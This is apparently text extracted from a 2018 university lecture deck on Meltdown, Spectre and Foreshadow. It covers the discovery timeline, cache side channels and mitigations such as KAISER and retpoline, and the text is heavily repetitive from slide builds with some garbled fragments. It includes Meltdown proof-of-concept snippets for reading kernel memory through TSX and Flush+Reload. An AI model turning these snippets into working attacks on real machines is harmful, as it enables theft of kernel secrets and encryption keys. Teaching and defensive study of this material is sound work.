Transient Execution Attacks

Daniel Gruss
September 12, 2018

Graz University of Technology
19.02.2016: Daniel has an implementation for KASLR-break with prefetch
• 19.02.2016: Daniel has an implementation for KASLR-break with prefetch
• 20.02.2016: Anders blogs about it + we decide to write a paper together (first paragraph on KAISER in that paper)
19.02.2016: Daniel has an implementation for KASLR-break with prefetch
20.02.2016: Anders blogs about it + we decide to write a paper together (first paragraph on KAISER in that paper)
05.04.2016: Richard starts working on KAISER patch
19.02.2016: Daniel has an implementation for KASLR-break with prefetch
20.02.2016: Anders blogs about it + we decide to write a paper together (first paragraph on KAISER in that paper)
05.04.2016: Richard starts working on KAISER patch
28.04.2016: Anders + Daniel meet for the first time at RuhrSec 2016
19.02.2016: Daniel has an implementation for KASLR-break with prefetch
20.02.2016: Anders blogs about it + we decide to write a paper together (first paragraph on KAISER in that paper)
05.04.2016: Richard starts working on KAISER patch
28.04.2016: Anders + Daniel meet for the first time at RuhrSec 2016
03.08.2016: Anders + Daniel share a room at BH USA
**Timeline Meltdown/Spectre (1)**

- 19.02.2016: Daniel has an implementation for KASLR-break with prefetch
- 20.02.2016: Anders blogs about it + we decide to write a paper together (first paragraph on KAISER in that paper)
- 05.04.2016: Richard starts working on KAISER patch
- 03.08.2016: Anders + Daniel share a room at BH USA
  - discuss whether there might be something like Meltdown
Timeline Meltdown/Spectre (1)

- 19.02.2016: Daniel has an implementation for KASLR-break with prefetch
- 20.02.2016: Anders blogs about it + we decide to write a paper together (first paragraph on KAISER in that paper)
- 05.04.2016: Richard starts working on KAISER patch
- 03.08.2016: Anders + Daniel share a room at BH USA
  - discuss whether there might be something like Meltdown
  - conclude that a bug of that dimension would have been found long ago
- 03.11.2016: Anders + Michael discuss “speculative execution” and reading kernel memory when sharing a room at BH EU
● 03.11.2016: Anders + Michael discuss “speculative execution” and reading kernel memory when sharing a room at BH EU
● Early 2017: Paul Kocher + Mike Hamburg start thinking about Speculative Execution

03.11.2016: Anders + Michael discuss “speculative execution” and reading kernel memory when sharing a room at BH EU

Early 2017: Paul Kocher + Mike Hamburg start thinking about Speculative Execution

15.02.2017: Anders tells Halvar Flake about this idea and Halvar encourages him to continue investigating it
03.11.2016: Anders + Michael discuss “speculative execution” and reading kernel memory when sharing a room at BH EU
Early 2017: Paul Kocher + Mike Hamburg start thinking about Speculative Execution
15.02.2017: Anders tells Halvar Flake about this idea and Halvar encourages him to continue investigating it
20.03.2017: Anders has a first speculative execution PoC working (no full exploit yet)
• 24.10.2016: Anders meets Graz team at CCS 2016
• 03.11.2016: Anders + Michael discuss “speculative execution” and reading kernel memory when sharing a room at BH EU
• Early 2017: Paul Kocher + Mike Hamburg start thinking about Speculative Execution
• 15.02.2017: Anders tells Halvar Flake about this idea and Halvar encourages him to continue investigating it
• 20.03.2017: Anders has a first speculative execution PoC working (no full exploit yet)
• 18.04.2017: KAISER paper was accepted at ESSoS
• 20.04.2017: Anders visits Graz. He later (05.01.2018) blogged about this meeting:
20.04.2017: Anders visits Graz. He later (05.01.2018) blogged about this meeting:

- “tried to pitch my idea, because with the workload I had I knew it would be difficult for me to realize alone. Unfortunately, I wasn’t the only one fully booked out and Daniel, Michael and myself were super skeptical at that time, despite the slight encouragement I’d had at Troopers. So we decided to finish the stuff we were already doing first”
20.04.2017: Anders visits Graz. He later (05.01.2018) blogged about this meeting:

- “tried to pitch my idea, because with the workload I had I knew it would be difficult for me to realize alone. Unfortunately, I wasn’t the only one fully booked out and Daniel, Michael and myself were super skeptical at that time, despite the slight encouragement I’d had at Troopers. So we decided to finish the stuff we were already doing first”

04.05.2017: Posted KAISER patch to the Linux Kernel Mailing List (LKML)
May 2017: Jann Horn discovers Spectre
• May 2017: Jann Horn discovers Spectre
• 01.06.2017: Jann Horn reports Spectre to Intel
Timeline Meltdown/Spectre (3)

- May 2017: Jann Horn discovers Spectre
- 01.06.2017: Jann Horn reports Spectre to Intel
- 22.06.2017: Jann Horn finds Meltdown + reports it to Intel
• May 2017: Jann Horn discovers Spectre
• 01.06.2017: Jann Horn reports Spectre to Intel
• 22.06.2017: Jann Horn finds Meltdown + reports it to Intel
• 04.07.2017: Graz team meets Anders at DIMVA / ESSoS 2017
28.07.2017: Anders blogs about negative result
• 28.07.2017: Anders blogs about negative result
• Fall 2017: Anders works with Microsoft(?)
28.07.2017: Anders blogs about negative result

Fall 2017: Anders works with Microsoft(?)

25.09.2017: Paul (+ Mike?) + Yuval + Genkin + Stefan sit at the same table and discuss speculative execution
28.07.2017: Anders blogs about negative result

Fall 2017: Anders works with Microsoft(?)

25.09.2017: Paul (+ Mike?) + Yuval + Genkin + Stefan sit at the same table and discuss speculative execution

27.10.2017: Contacted by Intel asking to sign-off the patch
• 28.11.2017: Yearly student project announcements on our homepage... one of the projects “Out-of-order-execution-based Channels”
• 28.11.2017: Yearly student project announcements on our homepage... one of the projects “Out-of-order-execution-based Channels”
• 03.12.2017: We discovered Meltdown (leaking data from L3)
28.11.2017: Yearly student project announcements on our homepage... one of the projects “Out-of-order-execution-based Channels”

03.12.2017: We discovered Meltdown (leaking data from L3)

04.12.2017: Bug report with Meltdown code sent to Intel
28.11.2017: Yearly student project announcements on our homepage… one of the projects “Out-of-order-execution-based Channels”

03.12.2017: We discovered Meltdown (leaking data from L3)

04.12.2017: Bug report with Meltdown code sent to Intel

• 14.12.2017: First call with Paul + team
• 14.12.2017: First call with Paul + team
  • We’re surprised and confused that they found something different than we did (Spectre)
• 14.12.2017: First call with Paul + team
  • We’re surprised and confused that they found something different than we did (Spectre)
  • They were surprised and confused about Meltdown
  - We’re surprised and confused that they found something different than we did (Spectre)
  - They were surprised and confused about Meltdown

20.12.2017: First call with Thomas + Werner
• 14.12.2017: First call with Paul + team
  ● We’re surprised and confused that they found something different than we did (Spectre)
  ● They were surprised and confused about Meltdown
• 20.12.2017: First call with Thomas + Werner
  ● We’re surprised they found something different and confused what it is they found
• 26.12.2017: First call with Jann Horn
- 26.12.2017: First call with Jann Horn
- 27.12.2017: Tom Lendacky (AMD) publicly states “AMD microarchitecture does not allow memory references, including speculative references, that access higher privileged data when running in a lesser privileged mode”
02.01.2018: The Register writes about “Kernel-memory-leaking Intel processor design flaw”
• 02.01.2018: The Register writes about “Kernel-memory-leaking Intel processor design flaw”

• 03.01.2018 08:32: @dougallj posts on Twitter that he can leak a secret bit from speculative execution
02.01.2018: The Register writes about “Kernel-memory-leaking Intel processor design flaw”

03.01.2018 08:32: @dougallj posts on Twitter that he can leak a secret bit from speculative execution

03.01.2018 09:58: @dougallj posts code on Github
• 02.01.2018: The Register writes about “Kernel-memory-leaking Intel processor design flaw”
• 03.01.2018 08:32: @dougallj posts on Twitter that he can leak a secret bit from speculative execution
• 03.01.2018 09:58: @dougallj posts code on Github
• 03.01.2018 10:18: We tell Intel that given code is public, the embargo probably won’t hold and ask them to consider an earlier publication
• 02.01.2018: The Register writes about “Kernel-memory-leaking Intel processor design flaw”
• 03.01.2018 08:32: @dougallj posts on Twitter that he can leak a secret bit from speculative execution
• 03.01.2018 09:58: @dougallj posts code on Github
• 03.01.2018 10:18: We tell Intel that given code is public, the embargo probably won’t hold and ask them to consider an earlier publication
• 03.01.2018 11:01: @dougallj posts on Twitter that he can read kernel memory
03.01.2018 15:28: Erik Bosman posts PoC video on Twitter
• 03.01.2018 15:28: Erik Bosman posts PoC video on Twitter
• 03.01.2018 18:48: We were allowed to publish
• 03.01.2018 15:28: Erik Bosman posts PoC video on Twitter
• 03.01.2018 18:48: We were allowed to publish
• 03.01.2018 23:27: We publish Meltdown and Spectre
Timeline Meltdown/Spectre (9)

- 03.01.2018 15:28: Erik Bosman posts PoC video on Twitter
- 03.01.2018 18:48: We were allowed to publish
- 03.01.2018 23:27: We publish Meltdown and Spectre
- 04.01.2018: We ask Anders Fogh to join our collaboration
printf("%d", i);
printf("%d", i);
printf("%d", i);
printf("%d", i);

Cache miss
printf("%d", i);
printf("%d", i);
printf("%d", i);

Cache miss
Request
printf("%d", i);
printf("%d", i);
```c
printf("%d", i);
printf("%d", i);
```
printf("%d", i);
printf("%d", i);
CPU Cache

```
printf("%d", i);
printf("%d", i);
```
printf("%d", i);

DRAM access, slow

Cache miss

printf("%d", i);

Cache hit

No DRAM access, much faster

DRAM access, slow

Request

Response
Flush+Reload

ATTACKER

flush
access

cached

Shared Memory

VICTIM

cached
access
Flush+Reload

ATTACKER

flush

access

Shared Memory

VICTIM

access

Shared Memory
Flush+Reload

ATTACKER

\texttt{flush}

\texttt{access}

Shared Memory

VICTIM

\texttt{access}
Flush+Reload

Shared Memory

ATTACKER
- flush
- access

VICTIM
- access
Flush+Reload

ATTACKER

flush
access

fast if victim accessed data, slow otherwise

Shared Memory

VICTIM

access
Memory Access Latency

Access time [CPU cycles]

Number of accesses

Cache Hits
Cache Misses

Daniel Gruss — Graz University of Technology
int width = 10, height = 5;

float diagonal = sqrt(width * width + height * height);
int area = width * height;

printf("Area %d x %d = %d\n", width, height, area);
```c
int width = 10, height = 5;
float diagonal = sqrt(width * width + height * height);
int area = width * height;
printf("Area %d x %d = %d\n", width, height, area);
```
Instructions are

- fetched and decoded in the front-end
Instructions are

- fetched and decoded in the front-end
- dispatched to the backend
Out-of-Order Execution

Instructions are

- fetched and decoded in the front-end
- dispatched to the backend
- processed by individual execution units
char data = *(char*)0xffffffff81a000e0;
printf("%c\n", data);
char data = *(char*)0xffffffff81a000e0;
printf("%c\n", data);

segfault at ffffffff81a000e0 ip
0000000000400535
sp 00007ffce4a80610 error 5 in reader
Adapted code

*(volatile char*)0;
array[84 * 4096] = 0; // unreachable
Flush+Reload over all pages of the array
Flush+Reload over all pages of the array

This also works on AMD and ARM!
• Out-of-order instructions leave microarchitectural traces
• Out-of-order instructions leave microarchitectural traces
  • We can see them for example through the cache
Out-of-order instructions leave microarchitectural traces

- We can see them for example through the cache
- Give such instructions a name: transient instructions
• Out-of-order instructions leave microarchitectural traces
  • We can see them for example through the cache
• Give such instructions a name: transient instructions
• We can indirectly observe the execution of transient instructions
• Combine the two things

```c
char data = *(char*)0xffffffff81a000e0;
array[data * 4096] = 0;
```
Flush+Reload again...

... Meltdown actually works.
Building Meltdown

- Flush+Reload over all pages of the array

- Index of cache hit reveals data
• Flush+Reload over all pages of the array

• Index of cache hit reveals data

• Permission check is in some cases not fast enough
I SHIT YOU NOT

THERE WAS KERNEL MEMORY ALL OVER THE TERMINAL
used with authorization from Silicon Graphics, Inc. However, the authors make no claim that Mesa is in any way a compatible replacement for OpenGL or associated with Silicon Graphics, Inc.

... This version of Mesa provides GLX and DRI capabilities: it is capable of both direct and indirect rendering. For direct rendering, it can use DRI modules from the libg
• Basic Meltdown code leads to a crash (segfault)
• Basic Meltdown code leads to a crash (segfault)
• How to prevent the crash?
- Basic Meltdown code leads to a crash (segfault)
- How to prevent the crash?
• Intel TSX to suppress exceptions instead of signal handler

```c
if (xbegin() == XBEGIN_STARTED) {
    char secret = *(char*) 0xffffffff81a000e0;
    array[secret * 4096] = 0;
    xend();
}

for (size_t i = 0; i < 256; i++) {
    if (flush_and_reload(array + i * 4096) == CACHE_HIT) {
        printf("%c\n", i);
    }
}
```
Speculative execution to prevent exceptions

```c
int speculate = rand() % 2;
size_t address = (0xffffffff81a000e0 * speculate) +
                 ((size_t)&zero * (1 - speculate));
if (!speculate) {
    char secret = *(char*) address;
    array[secret * 4096] = 0;
}

for (size_t i = 0; i < 256; i++) {
    if (flush_and_reload(array + i * 4096) == CACHE_HIT) {
        printf("%c\n", i);
    }
}
```
• Improve the performance with a NULL pointer dereference
• Improve the performance with a NULL pointer dereference

```c
if (xbegin() == XBEGIN_STARTED) {
    *(volatile char*) 0;
    char secret = *(char*) 0xffffffff81a000e0;
    array[secret * 4096] = 0;
    xend();
}
```
SO YOU ARE TELLING ME
YOU CAN DUMP THE MEMORY STORED IN L1?
WHAT IF I TOLD YOU
YOU CAN LEAK THE ENTIRE MEMORY
• Assumed that one can only read data stored in the L1 with Meltdown
Uncached memory

- Assumed that one can only read data stored in the L1 with Meltdown
- Experiment where a thread flushes the value constantly and a thread on a different core reloads the value
- Assumed that one can only read data stored in the L1 with Meltdown
- Experiment where a thread flushes the value constantly and a thread on a different core reloads the value
  - Target data is not in the L1 cache of the attacking core
• Assumed that one can only read data stored in the L1 with Meltdown
• Experiment where a thread flushes the value constantly and a thread on a different core reloads the value
  • Target data is not in the L1 cache of the attacking core
• We can still leak the data at a lower reading rate
• Assumed that one can only read data stored in the L1 with Meltdown
• Experiment where a thread flushes the value constantly and a thread on a different core reloads the value
  • Target data is not in the L1 cache of the attacking core
• We can still leak the data at a lower reading rate
• Meltdown might implicitly cache the data
I'LL JUST QUICKLY DUMP THE ENTIRE MEMORY VIA MELTDOWN
 Practical attacks

- Dumping the entire physical memory takes some time
• Dumping the entire physical memory takes some time
  • Not very practical in most scenarios
Practical attacks

- Dumping the entire physical memory takes some time
  - Not very practical in most scenarios
- Can we mount more targeted attacks?
• Open-source utility for disk encryption
VeraCrypt

• Open-source utility for disk encryption
• Fork of TrueCrypt
VeraCrypt

- Open-source utility for disk encryption
- Fork of TrueCrypt
- Cryptographic keys are stored in RAM
VeraCrypt

- Open-source utility for disk encryption
- Fork of TrueCrypt
- Cryptographic keys are stored in RAM
  - With Meltdown, we can extract the keys from DRAM
attacker@meltdown ~/exploit %

victim@meltdown ~ %
Take the kernel addresses...

- Kernel addresses in user space are a problem
Take the kernel addresses...

- Kernel addresses in user space are a problem
- Why don’t we take the kernel addresses...
...and remove them

• ...and remove them if not needed?
...and remove them

- ...and remove them if not needed?
- User accessible check in hardware is not reliable
Kernel Address Isolation to have Side channels Efficiently Removed
Kernel Address Isolation to have Side channels Efficiently Removed
Without KAISER:

Shared address space

User memory

Kernel memory

context switch
**Without KAISER:**

Shared address space

- User memory
- Kernel memory

context switch

**With KAISER:**

User address space

- User memory
- Not mapped

Kernel address space

- SMAP + SMEP
- Kernel memory

context switch

SMAP + SMEP

Interrupt dispatcher

 Interruption dispatching

Daniel Gruss — Graz University of Technology
KAISER (Stronger Kernel Isolation) Patches

Our patch adopted in
- Linux
- Windows
- OSX/iOS

Now in every computer.
KAISER (Stronger Kernel Isolation) Patches

- Our patch
- Adopted in Linux

Daniel Gruss — Graz University of Technology
Our patch

Adopted in Linux

Adopted in Windows
KAISER (Stronger Kernel Isolation) Patches

- Our patch
- Adopted in Linux
- Adopted in Windows
- Adopted in OSX/iOS
KAISER (Stronger Kernel Isolation) Patches

- Our patch
- Adopted in Linux
- Adopted in Windows
- Adopted in OSX/iOS

→ now in every computer
Foreshadow / Foreshadow-NG\textsuperscript{1} [Van+18; Wei+18]

\begin{itemize}
\item L1D \rightarrow Tag? \rightarrow Pass to out-of-order
\end{itemize}

\begin{itemize}
\item vadrs \rightarrow PT walk? \rightarrow \begin{cases} 
\text{fail} \rightarrow \text{Page fault} \\
\text{ok} \rightarrow \text{Allow}
\end{cases}
\end{itemize}

\begin{itemize}
\item guest padrs \rightarrow EPT walk? \rightarrow \begin{cases} 
\text{fail} \rightarrow \text{Page fault} \\
\text{EPCM fail} \rightarrow \text{Abort page}
\end{cases}
\end{itemize}

\begin{itemize}
\item host padrs \rightarrow SGX? \rightarrow \begin{cases} 
\text{ok} \rightarrow \text{Allow} \\
\text{fail} \rightarrow \text{EPCM fail} \rightarrow \text{Abort page}
\end{cases}
\end{itemize}

Booting from ROM...
early console in extract_kernel
input_data: 0xffffffff0001e0a276
input_len: 0xffffffff0003d48f8
output: 0xffffffff01000000
output_len: 0xffffffff011bc258
kernel_total_size: 0xffffffffdec000
booted via startup_32()
Physical KASLR using RDTSC...
Virtual KASLR using RDTSC...

Decompressing Linux... Parsing ELF... Performing relocations... done.
Booting the kernel.

L1 Terminal Fault

Run reader <pfn> [<cache miss threshold>] to leak hypervisor data from the L1
Either:

- hyperthreading: only schedule mutually trusting threads on same physical core
- context switch: 
  - L1 when switching to guest
- disable EPTs
Mitigating L1TF/Foreshadow

Either:

- hyperthreading: only schedule mutually trusting threads on same physical core
Mitigating L1TF/Foreshadow

Either:

- hyperthreading: only schedule mutually trusting threads on same physical core
- context switch: flush L1 when switching to guest
Mitigating L1TF/Foreshadow

Either:

- hyperthreading: only schedule mutually trusting threads on same physical core
- context switch: flush L1 when switching to guest

Or:
Mitigating L1TF/Foreshadow

Either:

- hyperthreading: only schedule mutually trusting threads on same physical core
- context switch: flush L1 when switching to guest

Or:
- disable EPTs
MELTDOWN

SPECTRE
index = 0;

char* data = "textKEY";

if (index < 4)
  Prediction
else
  LUT[data[index] * 4096] 0
index = 0;

char* data = "textKEY";

if (index < 4)
    LUT[data[index] * 4096]
else
    0
index = 0;

char* data = "textKEY";

if (index < 4)
    Speculate
else
    Prediction

LUT[data[index] * 4096]
index = 0;
char* data = "textKEY";

if (index < 4)
    then
    LUT[data[index] * 4096]
else
    Prediction
    0
index = 1;

char* data = "textKEY";

if (index < 4)
  Prediction
    then
        LUT[data[index] * 4096]
    else
        0
index = 1;

char* data = "textKEY";

if (index < 4)
    Prediction
else
    LUT[data[index] * 4096] = 0
index = 1;

cchar* data = "textKEY";

if (index < 4)
  then
    Speculate
    then
      Prediction
      LUT[data[index] * 4096]
    else
      else
      0
index = 1;

char* data = "textKEY";

if (index < 4)

then

LUT[data[index] * 4096]

else

0

Prediction
index = 2;

c char* data = "textKEY";

if (index < 4)

then

Prediction

LUT[data[index] * 4096]

else

0

Daniel Gruss — Graz University of Technology
index = 2;

char* data = "textKEY";

if (index < 4)
    then
        Prediction
        LUT[data[index] * 4096]
    else
        0
Spectre (variant 1)

```c
index = 2;
char* data = "textKEY";

if (index < 4) {

Speculate

LUT[data[index] * 4096]

then

Prediction

} else {

0

}
```
index = 2;

char* data = "textKEY";

if (index < 4)
    LUT[data[index] * 4096]
else
    0
index = 3;

char* data = "textKEY";

if (index < 4)
    Prediction

else
    0

LUT[data[index] * 4096]
Spectre (variant 1)

index = 3;

char* data = "textKEY";

if (index < 4)

then

LUT[data[index] * 4096]

else

Prediction

0
index = 3;

char* data = "textKEY";

if (index < 4)

LUT[data[index] * 4096]

then

Prediction

else

0
index = 3;

char* data = "textKEY";

if (index < 4)

then

LUT[data[index] * 4096]

else

Prediction

0
index = 4;

char* data = "textKEY";

if (index < 4)
then
LUT[data[index] * 4096]
else
Prediction
0
index = 4;

char* data = "textKEY";

if (index < 4)

    then

    LUT[data[index] * 4096]

    Prediction

else

    0

index = 4;

char* data = "textKEY";

if (index < 4)

then

Speculate

LUT[data[index] * 4096]

else

Prediction

0

Daniel Gruss — Graz University of Technology
index = 4;

char* data = "textKEY";

if (index < 4)
    then
        Prediction
        LUT[data[index] * 4096]
    else
        Execute
        0
index = 5;

char* data = "textKEY";

if (index < 4)
then
    Prediction
LUT[data[index] * 4096]
else
    0
index = 5;

char* data = "textKEY";

if (index < 4)
then

LUT[data[index] * 4096]

else

0
index = 5;

char* data = "textKEY";

if (index < 4)
    Speculate
    then
    LUT[data[index] * 4096]
else
    Prediction
    0

Daniel Gruss — Graz University of Technology
index = 5;

char* data = "textKEY";

if (index < 4)

then

LUT[data[index] * 4096]

else

0

Prediction

Execute

Daniel Gruss — Graz University of Technology
index = 6;

char* data = "textKEY";

if (index < 4)
    Prediction
else
    LUT[data[index] * 4096] 0
index = 6;

char* data = "textKEY";

if (index < 4)
    then
        Prediction
        LUT[data[index] * 4096]
    else
        0
index = 6;

char* data = "textKEY";

if (index < 4)

LUT[data[index] * 4096]

else

0
index = 6;

char* data = "textKEY";

if (index < 4)
    LUT[data[index] * 4096]
else
    Execute 0
index = 0;

index = index & 0x3; // sanitization

char* data = "textKEY";

consider

Prediction

ignore

index = 0;

index = index & 0x3; // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]  

Prediction

LUT[data[index] * 4096]
index = 0;

index = index & 0x3; // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]
Spectre (variant 4)

index = 0;

index = index & 0x3; // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]
index = 1;

index = index & 0x3;  // sanitization

char* data = "textKEY";

index = 1;

index = index & 0x3; // sanitization

char* data = "textKEY";

index = 1;

index = index & 0x3;  // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]  // Prediction

Speculate
index = 1;

index = index & 0x3; // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]

LUT[data[index] * 4096]
index = 2;

index = index & 0x3; // sanitization

char* data = "textKEY";
index = 2;

index = index & 0x3; // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]

Prediction

consider

ignore

LUT[data[index] * 4096]
Spectre (variant 4)

index = 2;

index = index & 0x3; // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]

Prediction

consider

Speculate

ignore

LUT[data[index] * 4096]
index = 2;

index = index & 0x3; // sanitization

char* data = "textKEY";

Prediction

LUT[data[index] * 4096]

consider

ignore
index = 3;

index = index & 0x3; // sanitization

char* data = "textKEY";

index = 3;

index = index & 0x3;  // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]

Consider Prediction

LUT[data[index] * 4096]

Ignore
index = 3;

index = index & 0x3; // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]

Speculate

consider

Prediction

ignore

LUT[data[index] * 4096]
index = 3;

index = index & 0x3; // sanitization

char* data = "textKEY";

LUT[data[index] * 4096] 

Prediction

consider 

ignore
index = 4;

index = index & 0x3; // sanitization

char* data = "textKEY";

Spectre (variant 4)

index = 4;

index = index & 0x3; // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]  
LUT[data[index] * 4096]
index = 4;

index = index & 0x3; // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]
index = 4;

index = index & 0x3;  // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]

LUT[data[index] * 4096]
index = 5;

index = index & 0x3; // sanitization

char* data = "textKEY";

consider  
Prediction  
sanitization

LUT[data[index] * 4096]  
LUT[data[index] * 4096]  
ignore
index = 5;

index = index & 0x3;  // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]  // Prediction

LUT[data[index] * 4096]
index = 5;

index = index & 0x3;  // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]

Consider Prediction

Speculate

LUT[data[index] * 4096]

Ignore
Spectre (variant 4)

```c
index = 5;

index = index & 0x3; // sanitization

char* data = "textKEY";
```

Diagram:
- Execute
  - Prediction
  - ignore

LUT[data[index] * 4096]
index = 6;

index = index & 0x3;  // sanitization

char* data = "textKEY";

index = 6;

index = index & 0x3; // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]
Spectre (variant 4)

index = 6;

index = index & 0x3; // sanitization

char* data = "textKEY";

Prediction

consider

ignore

Speculate

LUT[data[index] * 4096]

LUT[data[index] * 4096]
index = 6;

index = index & 0x3;  // sanitization

char* data = "textKEY";

LUT[data[index] * 4096]

LUT[data[index] * 4096]
“Speculative Buffer Overflows”

- Speculatively write to memory locations
- Many more gadgets than previously anticipated
- Very interesting for sandboxes
- Causes some protection mechanisms to fail
“Speculative Buffer Overflows”

- Speculatively write to memory locations which are not writable
- Actually a variant of Meltdown
  - A permission bit is ignored during out-of-order execution
  - But no scenario where it makes sense without speculative execution?
`Animal* a = bird;`

```
a->move()
```

```
fly()  swim()  swim()
```

```
LUT[data[index] * 4096]  0
```
Animal* a = bird;

LUT[data[index] * 4096]
Animal* a = bird;

a->move();

fly()  
swim()  
swim()  
Prediction

LUT[data[index] * 4096]
Animal* a = bird;

Execute

LUT[data[index] * 4096]

Prediction

fly()

swim()

a->move()

swim()

0
Animal* a = bird;

a->move();

fly()  fly()  swim()

LUT[data[index] * 4096]

Prediction  0
Animal* a = bird;

Speculate

LUT[data[index] * 4096]

fly()

Prediction

fly()

a->move()

swim()

0
Animal* a = bird;

a->move();

fly()

fly()

Prediction

0

LUT[data[index] * 4096]
Animal* a = fish;

a->move()

fly()
fly()

LUT[data[index] * 4096]

swim()

Prediction

0
Animal* a = fish;
a->move();
Animal* a = fish;

a->move();

fly() -> Predict

LUT[data[index] * 4096]

fly() -> swim()

0
Animal* a = fish;

a->move();

fly()  
fly()  
Prediction

LUT[data[index] * 4096]

swim()

Execute

0
Animal* a = fish;

a->move()

fly()  
|   |  
|---|---|

| LUT[data[index] * 4096] | 0 |

swim() 

swim()
• “SpectreRSB”
• Similar to Spectre variant 2:
  • Redirect an indirect branch (a return in this case)
  • Fill buffer with “wrong” values
• Trivial approach: disable speculative execution
Mitigating Spectre

- Trivial approach: disable speculative execution
- No wrong speculation if there is no speculation
Mitigating Spectre

- Trivial approach: disable speculative execution
- No wrong speculation if there is no speculation
- Problem: massive performance hit!
- Trivial approach: disable speculative execution
- No wrong speculation if there is no speculation
- Problem: massive performance hit!
- Also: How to disable it?
Mitigating Spectre

- Trivial approach: disable speculative execution
- No wrong speculation if there is no speculation
- Problem: massive performance hit!
- Also: How to disable it?
- Speculative execution is deeply integrated into CPU
Spectre Variant 1 Mitigations

Workaround: insert instructions stopping speculation!

- Insert after every bounds check:
  - x86: LFENCE
  - ARM: CSDB

Available on all Intel CPUs, retrofitted to existing ARMv7 and ARMv8.
Spectre Variant 1 Mitigations

- Workaround: insert instructions stopping speculation

x86: LFENCE, ARM: CSDB

Available on all Intel CPUs, retrofitted to existing ARMv7 and ARMv8

Daniel Gruss — Graz University of Technology
● Workaround: insert instructions stopping speculation

→ insert after every bounds check
Workaround: insert instructions stopping speculation

→ insert after every bounds check

• x86: LFENCE, ARM: CSDB
Spectre Variant 1 Mitigations

- Workaround: insert instructions stopping speculation
  → insert after every bounds check
- x86: LFENCE, ARM: CSDB
- Available on all Intel CPUs, retrofitted to existing ARMv7 and ARMv8
Speculation barrier requires compiler supported

Already implemented in GCC, LLVM, and MSVC

Can be automated (MSVC)

not really reliable

Explicit use by programmer:

\texttt{builtin}

\texttt{load}

\texttt{no}

\texttt{speculate}
Spectre Variant 1 Mitigations

- Speculation barrier requires compiler supported
- Speculation barrier requires compiler supported
- Already implemented in GCC, LLVM, and MSVC
Spectre Variant 1 Mitigations

- Speculation barrier requires compiler supported
- Already implemented in GCC, LLVM, and MSVC
- Can be automated (MSVC) $\rightarrow$ not really reliable
Spectre Variant 1 Mitigations

- Speculation barrier requires compiler supported
- Already implemented in GCC, LLVM, and MSVC
- Can be automated (MSVC) → not really reliable
- Explicit use by programmer: `__builtin_load_no_speculate`
Intel released microcode updates

- Indirect Branch Restricted Speculation (IBRS):

\[ \text{Diagram: O-O-O-O-O} \]
\[ \text{Diagram: I-O-I-O-I} \]
\[ \text{Diagram: O-I-O-O-O} \]
\[ \text{Diagram: I-O-I-O-I} \]
Intel released microcode updates

- Indirect Branch Restricted Speculation (IBRS):
  - Do not speculate based on anything before entering IBRS mode
Intel released microcode updates

- Indirect Branch Restricted Speculation (IBRS):
  - Do not speculate based on anything before entering IBRS mode
  - lesser privileged code cannot influence predictions
Intel released microcode updates

- Indirect Branch Restricted Speculation (IBRS):
  - Do not speculate based on anything before entering IBRS mode
  - lesser privileged code cannot influence predictions

- Indirect Branch Predictor Barrier (IBPB):
Intel released microcode updates

- Indirect Branch Restricted Speculation (IBRS):
  - Do not speculate based on anything before entering IBRS mode
  - lesser privileged code cannot influence predictions

- Indirect Branch Predictor Barrier (IBPB):
  - Flush branch-target buffer
Intel released microcode updates

- Indirect Branch Restricted Speculation (IBRS):
  - Do not speculate based on anything before entering IBRS mode
  - lesser privileged code cannot influence predictions

- Indirect Branch Predictor Barrier (IBPB):
  - Flush branch-target buffer

- Single Thread Indirect Branch Predictors (STIBP):
Intel released microcode updates

- Indirect Branch Restricted Speculation (IBRS):
  - Do not speculate based on anything before entering IBRS mode
  - Lesser privileged code cannot influence predictions

- Indirect Branch Predictor Barrier (IBPB):
  - Flush branch-target buffer

- Single Thread Indirect Branch Predictors (STIBP):
  - Isolates branch prediction state between two hyperthreads
Retpoline (compiler extension)
Retpoline (compiler extension)

```
push <call_target>
call 1f
2: lfence ; speculation barrier
jmp 2b ; endless loop
1: lea 8(%rsp), %rsp ; restore stack pointer
ret ; the actual call to <
call_target>
```

→ always predict to enter an endless loop
Retpoline (compiler extension)

```
push <call_target>
call 1f
2: lfence       ; speculation barrier
   jmp 2b       ; endless loop
1: lea 8(%rsp), %rsp ; restore stack pointer
   ret         ; the actual call to <
call_target>
```

→ always predict to enter an endless loop

• instead of the correct (or wrong) target function
Retpoline (compiler extension)

```c
push <call_target>
call 1f
2: lfence ; speculation barrier
jmp 2b ; endless loop
1: lea 8(%rsp), %rsp ; restore stack pointer
ret ; the actual call to <call_target>
```

→ always predict to enter an endless loop

• instead of the correct (or wrong) target function → performance?
Retpoline (compiler extension)

```
push <call_target>
call 1f

2: lfence ; speculation barrier
    jmp 2b ; endless loop

1: lea 8(%rsp), %rsp ; restore stack pointer
    ret ; the actual call to <call_target>
```

→ always predict to enter an endless loop

- instead of the correct (or wrong) target function → performance?
- `ret` may fall-back to the BTB for prediction
Retpoline (compiler extension)

```assembly
push <call_target>
call 1f
2: lfence ; speculation barrier
jmp 2b ; endless loop
1: lea 8(%rsp), %rsp ; restore stack pointer
ret ; the actual call to <
call_target>
```

→ always predict to enter an endless loop

- instead of the correct (or wrong) target function → performance?
- `ret` may fall-back to the BTB for prediction

→ microcode patches to prevent that
Intel released microcode updates

Spectre Variant 4 Mitigations (Microcode/MSRs)
Intel released microcode updates

- Disable store-to-load-forward speculation
- Performance impact of 2–8%
- Already implicitly patched on some architectures
- RSB stuffing (part of retpoline)
• Prevent access to high-resolution timer
What does not work

- Prevent access to high-resolution timer
- Own timer using timing thread
What does not work

- Prevent access to high-resolution timer
  → Own timer using timing thread
- Flush instruction only privileged
What does not work

- Prevent access to high-resolution timer
  → Own timer using timing thread
- Flush instruction only privileged
  → Cache eviction through memory accesses
What does not work

- Prevent access to high-resolution timer
